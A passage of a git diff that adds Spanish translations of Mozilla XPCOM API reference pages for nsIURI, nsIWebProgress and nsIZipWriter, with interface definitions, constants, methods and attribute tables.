+    <p><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="The URI host with an ASCII compatible
+            encoding.">El servidor URI con una codificación compatible con ASCII. </span><span style="background-color: #ffffff;" title="Follows the IDNA
+            draft spec for converting internationalized domain names (UTF-8) to
+            ASCII for compatibility with existing Internet infrasture.">Sigue la especificación del proyecto de IDNA para convertir los nombres de dominio internacionalizados (UTF-8) a ASCII para la compatibilidad con la infraestructura de Internet existente.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>originCharset</code></td>
+   <td><code>readonly <a href="../../../../en/nsACString" rel="internal">nsACString</a></code></td>
+   <td>
+    <p><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="The charset of the document from which this
+            URI originated.">El juego de caracteres del documento del que se originó este URI. </span><span style="background-color: #ffffff;" title="An empty value implies UTF-8.">Un valor vacío implica UTF-8.</span></span></p>
+
+    <p><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="If this value is something other than UTF-8
+            then the URI components (eg, spec, prePath, username, etc.) are all
+            fully URL-escaped.">Si este valor es algo distinto de UTF-8 a continuación, los componentes de URI (por ejemplo, spec, prePath, nombre de usuario, etc) son totalmente URL de escape. </span><span style="background-color: #ffffff;" title="Otherwise, the URI
+            components may contain unescaped multibyte UTF-8 characters.">De lo contrario, los componentes de URI pueden contener </span></span><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="Otherwise, the URI
+            components may contain unescaped multibyte UTF-8 characters.">caracteres </span></span><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="Otherwise, the URI
+            components may contain unescaped multibyte UTF-8 characters.">sin escape multibyte </span></span><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="Otherwise, the URI
+            components may contain unescaped multibyte UTF-8 characters.">UTF-8 .</span></span></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsIURI.idl" rel="custom">netwerk/base/public/nsIURI.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.0.0 </span></div>
+</div><p></p>
+
+<h3 id="C.C3.B3digo_de_interfaz" name="C.C3.B3digo_de_interfaz">Código de interfaz</h3>
+
+<pre class="eval">[scriptable, uuid(07a22cc0-0ce5-11d3-9331-00104ba0fd40)]
+interface nsIURI : nsISupports
+{
+  attribute AUTF8String spec;
+  readonly attribute AUTF8String prePath;
+  attribute ACString scheme;
+  attribute AUTF8String userPass;
+  attribute AUTF8String username;
+  attribute AUTF8String password;
+  attribute AUTF8String hostPort;
+  attribute AUTF8String host;
+  attribute long port;
+  attribute AUTF8String path;
+
+  boolean equals(in nsIURI other);
+  boolean schemeIs(in string scheme);
+  nsIURI clone();
+  AUTF8String resolve(in AUTF8String relativePath);
+
+  readonly attribute ACString asciiSpec;
+  readonly attribute ACString asciiHost;
+  readonly attribute ACString originCharset;
+};
+</pre>
+
+<p>Esencialmente URI son nombres estructurados para... cualquier cosa. Este interfaz ofrece métodos para crear y cuestionar los componentes básicos de un URI. Las sub clases, incluida ofrecen mayor estructura a los URI. Esta interfaz sigue las especificaciones Berners-Lee en <a class="external" href="http://tools.ietf.org/html/rfc2396" title="http://tools.ietf.org/html/rfc2396">RFC 2396</a>, donde se definen las URI básicas como:</p>
+
+<pre class="eval"><span class="nowiki">ftp://user:password@example.org:12345/path/leaf</span>
+</pre>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Componente</th>
+   <th>Valore en el ejemplo</th>
+  </tr>
+  <tr>
+   <td><code>scheme</code></td>
+   <td><code>ftp</code></td>
+  </tr>
+  <tr>
+   <td><code>userPass</code></td>
+   <td><code>user:password</code></td>
+  </tr>
+  <tr>
+   <td><code>host</code></td>
+   <td><code>example.org</code></td>
+  </tr>
+  <tr>
+   <td><code>port</code></td>
+   <td><code>12345</code></td>
+  </tr>
+  <tr>
+   <td><code>path</code></td>
+   <td><code>/path/leaf</code></td>
+  </tr>
+  <tr>
+   <td><code>prePath</code></td>
+   <td><code><span class="nowiki">ftp://user:password@example.org:12345</span></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<h4 id="equals.28.29" name="equals.28.29">equals()</h4>
+
+<pre class="eval">boolean equals (in nsIURI other);
+</pre>
+
+<p>Compara la URI actual con otra, retornando <code>true </code>si las dos representan el mismo sitio.</p>
+
+<p>Nota: Es más que un comparación de cadena, ya que dos cadenas URI distintas pueden representar el mismo sitio. P.e.: Esta comparación devolverá <code>true</code>  <span class="nowiki">http://example.com:80/ == http://example.com/</span></p>
+
+<h4 id="schemeIs.28.29" name="schemeIs.28.29">schemeIs()</h4>
+
+<pre class="eval">boolean schemeIs(in string scheme);
+</pre>
+
+<p>Una optimización para hacer chequeos de esquema sin pedir los usuarios de nsIURI a GetScheme, con esto se ahorran asignaciones y liberaciones extra de memoria. Retorna <code>True</code>  si el esquema coincide (se ingnoran mayúsculas o minúsculas)</p>
+
+<p>clone()</p>
+
+<pre class="eval">nsIURI clone();
+</pre>
+
+<p><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="Clones the current URI.">Clona la URI, retornando un nuevo objeto </span><code><span style="background-color: #ffffff;" title="Clones the current URI.">nsIURI</span></code></span></p>
+
+<p><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="For some protocols, this is more than just an optimization.">Para algunos protocolos, esto es más que una simple optimización. </span><span style="background-color: #ffffff;" title="For example, under
+MacOS, the spec of a file URL does not necessarily uniquely identify a
+file since two volumes could share the same name.">Por ejemplo, en MacOS X, la especificación de una dirección de fichero no implica necesariamente la identificación exclusiva de un archivo, ya que dos volúmenes podrían tener el mismo nombre.</span></span></p>
+
+<h4 id="resolve.28.29" name="resolve.28.29">resolve()</h4>
+
+<pre class="eval">AUTF8String resolve(in AUTF8String relativePath);
+</pre>
+
+<p><span class="medium_text" id="result_box"><span style="background-color: #ffffff;" title="This method resolves a relative string into
+an absolute URI string, using this URI as the base.">Este método resuelve una cadena uri relativa usando esta URI como base. </span></span></p>
+
+<p><span class="medium_text" id="result_box"><span style="background-color: #ffffff;" title="NOTE: some implementations may have no concept of a
+relative URI.">Nota: Algunas implementaciones puede que no tengan el concepto de URI relativo.</span></span></p>
+
+<h3 id="Attributes" name="Attributes">Attributes</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>spec</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td><span class="medium_text" id="result_box"><span style="background-color: #ffffff;" title="Returns a string representation of the
+            URI.">Devuelve una representación de cadena de la URI. </span><span style="background-color: #ebeff9;" title="Setting the spec
+            causes the new spec to be parsed, initializing the URI.">Configura las spec causada con la nueva spec para ser analizada, inicializa la URI.</span></span></td>
+  </tr>
+  <tr>
+   <td><code>prePath</code></td>
+   <td><code>readonly <a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td>El prePath (eg. <a class="external" rel="freelink">scheme://user:password@host</a>:port) retorna la cadena de caracteres que se encuentran antes del path. Esto es útil para la autenticación o para el manejo de sesiones.
+    <p>Some characters may be escaped.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>scheme</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a> (US-ASCII)</code></td>
+   <td>El Esquema es el protocolo al cual la URI se refiere. El Esquema está restringido al conjunto de caracteres US-ASCII definido por el RFC2396.</td>
+  </tr>
+  <tr>
+   <td><code>userPass</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td>La combinación nombre_de_usuario:contraseña (username:password) (o nombre_de_usuario sólo si el valor no contiene ':').
+    <p>Some characters may be escaped.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>username</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td>The optional username, assuming the preHost consists of username:password.
+    <p>Some characters may be escaped.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>password</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td>The optional password, assuming the preHost consists of username:password.
+    <p>Some characters may be escaped.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>hostPort</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td>La combinación host:puerto (host:port) (o simplemente el host, si el puerto es -1).
+    <p>Characters are NOT escaped.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>host</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td>El host es el nombre de dominio de internet al cual se refiere la URI. Puede ser una dirección IPv4 o IPv6. Si es soportado puede ser un nombre de dominio internacionalizado no-ASCII.
+    <p>Characters are NOT escaped.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>port</code></td>
+   <td><code>PRInt32</code></td>
+   <td>Si el valor del puerto es -1 esto corresponde con el puerto por defecto para el protocolo (ejm. -1 implica que se usa el puerto 80 para las URI http).</td>
+  </tr>
+  <tr>
+   <td><code>path</code></td>
+   <td><code><a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (UTF-8)</td>
+   <td>The path, typically including at least a leading '/' (but may also be empty, depending on the protocol).
+    <p>Some characters may be escaped.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>asciiSpec</code></td>
+   <td><code>readonly <a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (US-ASCII)</td>
+   <td>The URI spec with an ASCII compatible encoding. Host portion follows the IDNA draft spec. Other parts are URL-escaped per the rules of RFC2396. The result is strictly ASCII.</td>
+  </tr>
+  <tr>
+   <td><code>asciiHost</code></td>
+   <td><code>readonly <a href="/es/NsACString" title="es/NsACString">nsACString</a></code> (US-ASCII)</td>
+   <td>The URI host with an ASCII compatible encoding. Follows the IDNA draft spec for converting internationalized domain names (UTF-8) to ASCII for compatibility with existing internet infrasture.</td>
+  </tr>
+  <tr>
+   <td><code>originCharset</code></td>
+   <td><code>readonly <a href="/es/NsACString" title="es/NsACString">nsACString</a></code></td>
+   <td>The charset of the document from which this URI originated. An empty value implies UTF-8.
+    <p>If this value is something other than UTF-8 then the URI components (e.g., spec, prePath, username, etc.) will all be fully URL-escaped. Otherwise, the URI components may contain unescaped multibyte UTF-8 characters.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/nsiwebprogress/index.html b/files/es/nsiwebprogress/index.html
new file mode 100644
index 0000000000..3b9fbb8ff0
--- /dev/null
+++ b/files/es/nsiwebprogress/index.html
@@ -0,0 +1,233 @@
+---
+title: nsIWebProgress
+slug: nsIWebProgress
+tags:
+  - Interfaces
+  - 'Interfaces:Frozen'
+  - 'Interfaces:Scriptable'
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIWebProgress
+---
+<p>« <a href="/en-US/docs/XPCOM_API_Reference">XPCOM API Reference</a></p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El interfaz <code>nsIWebProgress</code> es usado para agregar o quitar instancias <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a> para observar la carga de peticiones asíncronas (usualmente en el contexto DOM).</p>
+
+<p>Las instancias <code>nsIWebProgress</code> pueden ser dispuestas en una configuración padre-hijo, correspondiente a la configuración padre-hijo de sus respectivas ventanas DOM. Sin embargo, en algunos casos, una instancia <code>nsIWebProgress</code> puede no estar asociada a una ventana DOM. La relación padre-hijo de las instancias <code>nsIWebProgress</code> no está hecha explícitamente para este intefaz, pero la relación puede existir en algunas implementaciones.</p>
+
+<p>Una instancia <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a> recibe notificaciones la instancia <code>nsIWebProgress</code> a la cual se ha agregado y puede tambien recibir notificaciones de cualquier instancia <code>nsIWebProgress</code> que sea hija de la instancia <code>nsIWebProgress</code>.</p>
+
+<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/uriloader/base/nsIWebProgress.idl" rel="custom">uriloader/base/nsIWebProgress.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.8.0 </span></div>
+</div><p></p>
+
+<h3 id="C.C3.B3digo_del_interfaz" name="C.C3.B3digo_del_interfaz">Código del interfaz</h3>
+
+<pre>[scriptable, uuid(570F39D0-EFD0-11d3-B093-00A024FFC08C)]
+interface nsIWebProgress : nsISupports
+{
+  const unsigned long NOTIFY_STATE_REQUEST  = 0x00000001;
+  const unsigned long NOTIFY_STATE_DOCUMENT = 0x00000002;
+  const unsigned long NOTIFY_STATE_NETWORK  = 0x00000004;
+  const unsigned long NOTIFY_STATE_WINDOW   = 0x00000008;
+  const unsigned long NOTIFY_STATE_ALL      = 0x0000000f;
+
+  const unsigned long NOTIFY_PROGRESS       = 0x00000010;
+  const unsigned long NOTIFY_STATUS         = 0x00000020;
+  const unsigned long NOTIFY_SECURITY       = 0x00000040;
+  const unsigned long NOTIFY_LOCATION       = 0x00000080;
+
+  const unsigned long NOTIFY_ALL            = 0x000000ff;
+
+  void addProgressListener(in nsIWebProgressListener aListener,
+                           in unsigned long aNotifyMask);
+
+  void removeProgressListener(in nsIWebProgressListener aListener);
+
+  readonly attribute nsIDOMWindow DOMWindow;
+
+  readonly attribute PRBool isLoadingDocument;
+};
+</pre>
+
+<h3 id="Constantes" name="Constantes">Constantes</h3>
+
+<p>Estas lineas indican los estados de transición a observar, correspondientes a <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a>::<a href="/es/NsIWebProgressListener#onStateChange" title="es/NsIWebProgressListener#onStateChange">onStateChange</a>.</p>
+
+<dl>
+ <dd><code>NOTIFY_STATE_REQUEST</code>
+
+ <dl>
+  <dd>Sólo recibe el evento <a href="/es/NsIWebProgressListener#onStateChange" title="es/NsIWebProgressListener#onStateChange">onStateChange</a> si el parámetro aStateFlags incluye <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a>::STATE_IS_REQUEST.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><code>NOTIFY_STATE_DOCUMENT</code>
+
+ <dl>
+  <dd>Sólo recibe el evento <a href="/es/NsIWebProgressListener#onStateChange" title="es/NsIWebProgressListener#onStateChange">onStateChange</a> si el parámetro aStateFlags incluye <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a>::STATE_IS_DOCUMENT.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><code>NOTIFY_STATE_NETWORK</code>
+
+ <dl>
+  <dd>Sólo recibe el evento <a href="/es/NsIWebProgressListener#onStateChange" title="es/NsIWebProgressListener#onStateChange">onStateChange</a> si el parámetro aStateFlags incluye <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a>::STATE_IS_NETWORK.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><code>NOTIFY_STATE_WINDOW</code>
+
+ <dl>
+  <dd>Sólo recibe el evento <a href="/es/NsIWebProgressListener#onStateChange" title="es/NsIWebProgressListener#onStateChange">onStateChange</a> si el parámetro aStateFlags incluye <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a>::STATE_IS_WINDOW.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><code>NOTIFY_STATE_ALL</code>
+
+ <dl>
+  <dd>Recibe todos los eventos onStateChange.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<p>Estas lineas indican los otros eventos a observar, correspondientes a los otros métodos definidos en <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a>.</p>
+
+<dl>
+ <dd><code>NOTIFY_PROGRESS</code>
+
+ <dl>
+  <dd>Recibe eventos <a href="/es/NsIWebProgressListener#onProgressChange" title="es/NsIWebProgressListener#onProgressChange">onProgressChange</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><code>NOTIFY_STATUS</code>
+
+ <dl>
+  <dd>Recibe eventos <a href="/es/NsIWebProgressListener#onStatusChange" title="es/NsIWebProgressListener#onStatusChange">onStatusChange</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><code>NOTIFY_SECURITY</code>
+
+ <dl>
+  <dd>Recibe eventos <a href="/es/NsIWebProgressListener#onSecurityChange" title="es/NsIWebProgressListener#onSecurityChange">onSecurityChange</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><code>NOTIFY_LOCATION</code>
+
+ <dl>
+  <dd>Recibe eventos <a href="/es/NsIWebProgressListener#onLocationChange" title="es/NsIWebProgressListener#onLocationChange">onLocationChange</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<h4 id="addProgressListener" name="addProgressListener">addProgressListener</h4>
+
+<pre class="eval"><code>void addProgressListener(in <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a> aListener,
+                         in unsigned long aNotifyMask);</code>
+</pre>
+
+<p>Registra un escucha que recibirá los eventos del progreso web.</p>
+
+<h5 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h5>
+
+<p><code>aListener</code></p>
+
+<dl>
+ <dd>El interfaz de escucha que será llamado cuando ocurra un evento de progreso.</dd>
+ <dd>Este objeto debe también implementar <a href="/es/NsISupportsWeakReference" title="es/NsISupportsWeakReference">nsISupportsWeakReference</a>.</dd>
+</dl>
+
+<p><code>aNotifyMask</code></p>
+
+<dl>
+ <dd>Los tipos de notificaciones a recibir.</dd>
+</dl>
+
+<h5 id="Excepciones" name="Excepciones">Excepciones</h5>
+
+<p><code>NS_ERROR_INVALID_ARG</code></p>
+
+<dl>
+ <dd>Indica que aListener fue bien <em>null</em> o que no soporta referencias débiles.</dd>
+</dl>
+
+<p><code>NS_ERROR_FAILURE</code></p>
+
+<dl>
+ <dd>Indica que aListener ya fué registrado.</dd>
+</dl>
+
+<h4 id="removeProgressListener" name="removeProgressListener">removeProgressListener</h4>
+
+<pre class="eval"><code> void removeProgressListener(in <a href="/es/NsIWebProgressListener" title="es/NsIWebProgressListener">nsIWebProgressListener</a> aListener);
+</code>
+</pre>
+
+<h5 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h5>
+
+<p><code>aListener</code></p>
+
+<dl>
+ <dd>El interfaz e escucha anteriormente registrado con un llamado a <a href="#addProgressListener">addProgressListener</a>.</dd>
+</dl>
+
+<h5 id="Excepciones_2" name="Excepciones_2">Excepciones</h5>
+
+<p><code>NS_ERROR_FAILURE</code></p>
+
+<dl>
+ <dd>Indica que aListener no fué registrado.</dd>
+</dl>
+
+<h3 id="Attributes" name="Attributes">Atributos</h3>
+
+<h4 id="DOMWindow" name="DOMWindow">DOMWindow</h4>
+
+<pre class="eval"><code>atributo de sólo lectura <a href="/es/NsIDOMWindow" title="es/NsIDOMWindow">nsIDOMWindow</a> DOMWindow;</code>
+</pre>
+
+<p>La ventana DOM asociada con esta instancia nsIWebProgress.</p>
+
+<h5 id="Exceptions" name="Exceptions">Exceptions</h5>
+
+<p><code>NS_ERROR_FAILURE</code></p>
+
+<dl>
+ <dd>Indica que no hay un ventana DOM asociada.</dd>
+</dl>
+
+<h4 id="isLoadingDocument" name="isLoadingDocument">isLoadingDocument</h4>
+
+<pre class="eval"><code>readonly attribute PRBool isLoadingDocument;</code>
+</pre>
+
+<p>Indica si un documento está siendo cargado o no en el contexto de esta instancia nsIWebProgress.</p>
diff --git a/files/es/nsizipwriter/index.html b/files/es/nsizipwriter/index.html
new file mode 100644
index 0000000000..9c59481e6a
--- /dev/null
+++ b/files/es/nsizipwriter/index.html
@@ -0,0 +1,517 @@
+---
+title: nsIZipWriter
+slug: NsIZipWriter
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIZipWriter
+---
+<p> The <code>nsIZipWriter</code> interface provides an easy way for scripts to archive data in the Zip file format. Operations on the archive can be performed one by one, or queued for later execution.</p>
+
+<p>Once all the operations you wish to perform are added to the queue, a call to <code><a href="#processQueue.28.29">processQueue()</a></code> will perform the operations in the order they were added to the queue. Operations performed on the queue throw any errors that occur out to the observer.</p>
+
+<p>Attempting to perform a synchronous operation on the interface while the background queue is in progress will throw an <code>NS_ERROR_IN_PROGRESS</code> exception.</p>
+
+<p>File and directory names should use slashes ("/") as separators and should not begin with a slash.</p>
+
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> Although it isn't necessary to add directory entries in order to add file entries within them, some Zip utilities may have problems with that, so it may be best to add the directory entries explicitly first.</div><p></p>
+
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/modules/libjar/zipwriter/public/nsIZipWriter.idl" rel="custom">modules/libjar/zipwriter/public/nsIZipWriter.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+
+<p>Inherits from: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code></p>
+
+<p>Implemented by: <code>@mozilla.org/zipwriter;1</code>. To create an instance, use:</p>
+
+<pre class="eval">var zipWriter = Components.classes["@mozilla.org/zipwriter;1"]
+                          .createInstance(Components.interfaces.nsIZipWriter);
+</pre>
+
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#addDirectoryEntry.28.29">addDirectoryEntry</a>(in AUTF8String aZipEntry, in PRTime aModTime, in boolean aQueue);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#addEntryChannel.28.29">addEntryChannel</a>(in AUTF8SZtring aZipEntry, in PRTime aModTime, in PRInt32 aCompression, in <a href="/en/nsIChannel" title="en/nsIChannel">nsIChannel</a> aChannel, in boolean aQueue)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#addEntryFile.28.29">addEntryFile</a>(in AUTF8SZtring aZipEntry, in PRInt32 aCompression, in nsIFile aFile, in boolean aQueue)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#addEntryStream.28.29">addEntryStream</a>(in AUTF8SZtring aZipEntry, in PRTime aModTime, in PRInt32 aCompression, in <a href="/en/nsIInputStream" title="en/nsIInputStream">nsIInputStream</a> aStream, in boolean aQueue)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#close.28.29">close</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/en/nsIZipEntry" title="en/nsIZipEntry">nsIZipEntry</a> <a href="#getEntry.28.29">getEntry</a>(in <a href="/en/AUTF8String" title="en/AUTF8String">AUTF8String</a> aZipEntry);</code></td>
+  </tr>
+  <tr>
+   <td><code>boolean <a href="#hasEntry.28.29">hasEntry</a>(in AUTF8String aZipEntry);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#open.28.29">open</a>(in <a href="/en/nsIFile" title="en/nsIFile">nsIFile</a> aFile, in PRInt32 aIoFlags);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#processQueue.28.29">processQueue</a>(in nsIRequestObserver aObserver, in nsISupports aContext)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeEntry.28.29">removeEntry</a>(in AUTF8String aZipEntry, in boolean aQueue)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Attributes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>comment</code></td>
+   <td><code><a href="/en/ACString" title="en/ACString">ACString</a></code></td>
+   <td>Gets or sets the comment associated with the currently open Zip file. Throws <code>NS_ERROR_NOT_INITIALIZED</code> if there isn't an open Zip file.</td>
+  </tr>
+  <tr>
+   <td><code>inQueue</code></td>
+   <td><code>boolean</code></td>
+   <td><code>true</code> if operations are being performed in the background queue, or <code>false</code> if background operations are not in progress. <em>Read-only.</em></td>
+  </tr>
+  <tr>
+   <td><code>file</code></td>
+   <td><code><a href="/en/nsIFile" title="en/nsIFile">nsIFile</a></code></td>
+   <td>The Zip file being written to. <em>Read-only.</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constants" name="Constants">Constants</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>COMPRESSION_NONE</code></td>
+   <td>0</td>
+   <td>Don't compress the file.</td>
+  </tr>
+  <tr>
+   <td><code>COMPRESSION_FASTEST</code></td>
+   <td>1</td>
+   <td>Use the fastest compression method when adding the file to the archive.</td>
+  </tr>
+  <tr>
+   <td><code>COMPRESSION_DEFAULT</code></td>
+   <td>6</td>
+   <td>Use the default compression method when adding the file to the archive.</td>
+  </tr>
+  <tr>
+   <td><code>COMPRESSION_BEST</code></td>
+   <td>9</td>
+   <td>Use the best compression method when adding the file to the archive.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="addDirectoryEntry.28.29" name="addDirectoryEntry.28.29">addDirectoryEntry()</h3>
+
+<p>Adds a new directory entry to the Zip file.</p>
+
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> Although it isn't necessary to add directory entries in order to add file entries within them, some Zip utilities may have problems with that, so it may be best to add the directory entries explicitly first.</div><p></p>
+
+<pre class="eval"> void addEntryDirectory(
+   in AUTF8String aZipEntry,
+   in PRTime aModTime,
+   in boolean aQueue
+ );
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aZipEntry</code></dt>
+ <dd>The path of the directory entry to add to the Zip file.</dd>
+ <dt><code>aModTime</code></dt>
+ <dd>The modification time of the entry in microseconds.</dd>
+ <dt><code>aQueue</code></dt>
+ <dd>If <code>true</code>, the operation is queued for later execution. If <code>false</code>, the operation is performed immediately.</dd>
+</dl>
+
+<h6 id="Exceptions_thrown" name="Exceptions_thrown">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_INITIALIZED</code></dt>
+ <dd>No Zip file is open.</dd>
+ <dt><code>NS_ERROR_FILE_ALREADY_EXISTS</code></dt>
+ <dd>The specified path already exists in the Zip file.</dd>
+ <dt><code>NS_ERROR_IN_PROGRESS</code></dt>
+ <dd>The Zip writer is already performing another operation.</dd>
+</dl>
+
+<h3 id="addEntryChannel.28.29" name="addEntryChannel.28.29">addEntryChannel()</h3>
+
+<p>Adds data from a channel to the Zip file.</p>
+
+<pre class="eval"> void addEntryChannel(
+   in AUTF8String aZipEntry,
+   in PRTime aModTime,
+   in PRInt32 aCompression,
+   in nsIChannel aChannel,
+   in boolean aQueue
+ );
+</pre>
+
+<h6 id="Parameters_2" name="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>aZipEntry</code></dt>
+ <dd>The path of the file entry to add to the Zip file. This is the path it will be located at within the Zip file.</dd>
+</dl>
+
+<p></p><div class="blockIndicator note"><strong>Nota:</strong> You must use forward slashes in the path.</div><p></p>
+
+<dl>
+ <dt><code>aModTime</code></dt>
+ <dd>The modification time of the entry in microseconds.</dd>
+ <dt><code>aCompression</code></dt>
+ <dd>One of the <a href="#Constants">compression constants</a>, indicating the compression method to use.</dd>
+ <dt><code>aChannel</code></dt>
+ <dd>The channel from which to get the data.</dd>
+ <dt><code>aQueue</code></dt>
+ <dd>If <code>true</code>, the operation is queued for later execution. If <code>false</code>, the operation is performed immediately.</dd>
+</dl>
+
+<h6 id="Exceptions_thrown_2" name="Exceptions_thrown_2">Exceptions thrown</h6>
+
+<dl>
+ <dt><code>NS_ERROR_NOT_INITIALIZED</code></dt>
+ <dd>No Zip file is open.</dd>
+ <dt><code>NS_ERROR_FILE_ALREADY_EXISTS</code></dt>
+ <dd>The specified path already exists in the Zip file.</dd>
+ <dt><code>NS_ERROR_IN_PROGRESS</code></dt>
+ <dd>The Zip writer is already performing another operation.</dd>
+</dl>
+
